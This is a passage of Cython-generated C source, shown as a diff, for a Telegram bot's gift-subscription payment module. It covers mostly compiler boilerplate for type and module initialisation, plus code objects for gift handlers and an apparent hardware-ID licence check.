+ __pyx_codeobj__25 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__52, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_confirm_gift_handler, 97, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__25)) __PYX_ERR(0, 97, __pyx_L1_error) + + /* "handlers/payments/gift.py":137 + * + * + * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< + * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): + * """ .""" + */ + __pyx_tuple__53 = PyTuple_Pack(1, __pyx_kp_u_confirm_gift); if (unlikely(!__pyx_tuple__53)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__53); + __Pyx_GIVEREF(__pyx_tuple__53); + __pyx_tuple__54 = PyTuple_Pack(11, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_selected_months, __pyx_n_s_price, __pyx_n_s_tg_id, __pyx_n_s_expiry_time, __pyx_n_s_gift_id, __pyx_n_s_gift_link, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__54)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__54); + __Pyx_GIVEREF(__pyx_tuple__54); + __pyx_codeobj__32 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__54, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_finalize_gift_handler, 137, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__32)) __PYX_ERR(0, 137, __pyx_L1_error) + + /* "handlers/payments/gift.py":174 + * + * + * def get_hardware_id(): # <<<<<<<<<<<<<< + * """ + * hardware-. + */ + __pyx_tuple__55 = PyTuple_Pack(3, __pyx_n_s_result, __pyx_n_s_f, __pyx_n_s_hardware_id); if (unlikely(!__pyx_tuple__55)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__55); + __Pyx_GIVEREF(__pyx_tuple__55); + __pyx_codeobj__56 = (PyObject*)__Pyx_PyCode_New(0, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__55, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_get_hardware_id, 174, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__56)) __PYX_ERR(0, 174, __pyx_L1_error) + + /* "handlers/payments/gift.py":190 + * return None + * + * async def validate_client_code(): # <<<<<<<<<<<<<< + * """ + * hardware ID . + */ + __pyx_tuple__57 = PyTuple_Pack(5, __pyx_n_s_hardware_id, __pyx_n_s_session, __pyx_n_s_payload, __pyx_n_s_response, __pyx_n_s_data); if (unlikely(!__pyx_tuple__57)) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__57); + __Pyx_GIVEREF(__pyx_tuple__57); + __pyx_codeobj__39 = (PyObject*)__Pyx_PyCode_New(0, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__57, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_validate_client_code, 190, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__39)) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_3 = PyInt_FromLong(3); if (unlikely(!__pyx_int_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_4 = PyInt_FromLong(4); if (unlikely(!__pyx_int_4)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_30 = PyInt_FromLong(30); if (unlikely(!__pyx_int_30)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_200 = PyInt_FromLong(200); if (unlikely(!__pyx_int_200)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler)) __PYX_ERR(0, 26, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler->tp_dictoffset && __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler)) __PYX_ERR(0, 42, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler->tp_dictoffset && __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler)) __PYX_ERR(0, 77, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler->tp_dictoffset && __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler)) __PYX_ERR(0, 97, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler->tp_dictoffset && __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler)) __PYX_ERR(0, 137, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler->tp_dictoffset && __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code)) __PYX_ERR(0, 190, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code) < 0) __PYX_ERR(0, 190, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code) < 0) __PYX_ERR(0, 190, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code->tp_dictoffset && __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_gift(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_gift}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "gift", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC initgift(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC initgift(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_gift(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_gift(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_gift(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'gift' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("gift", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "gift" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_gift(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__gift) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.gift")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.gift", __pyx_m) < 0))) 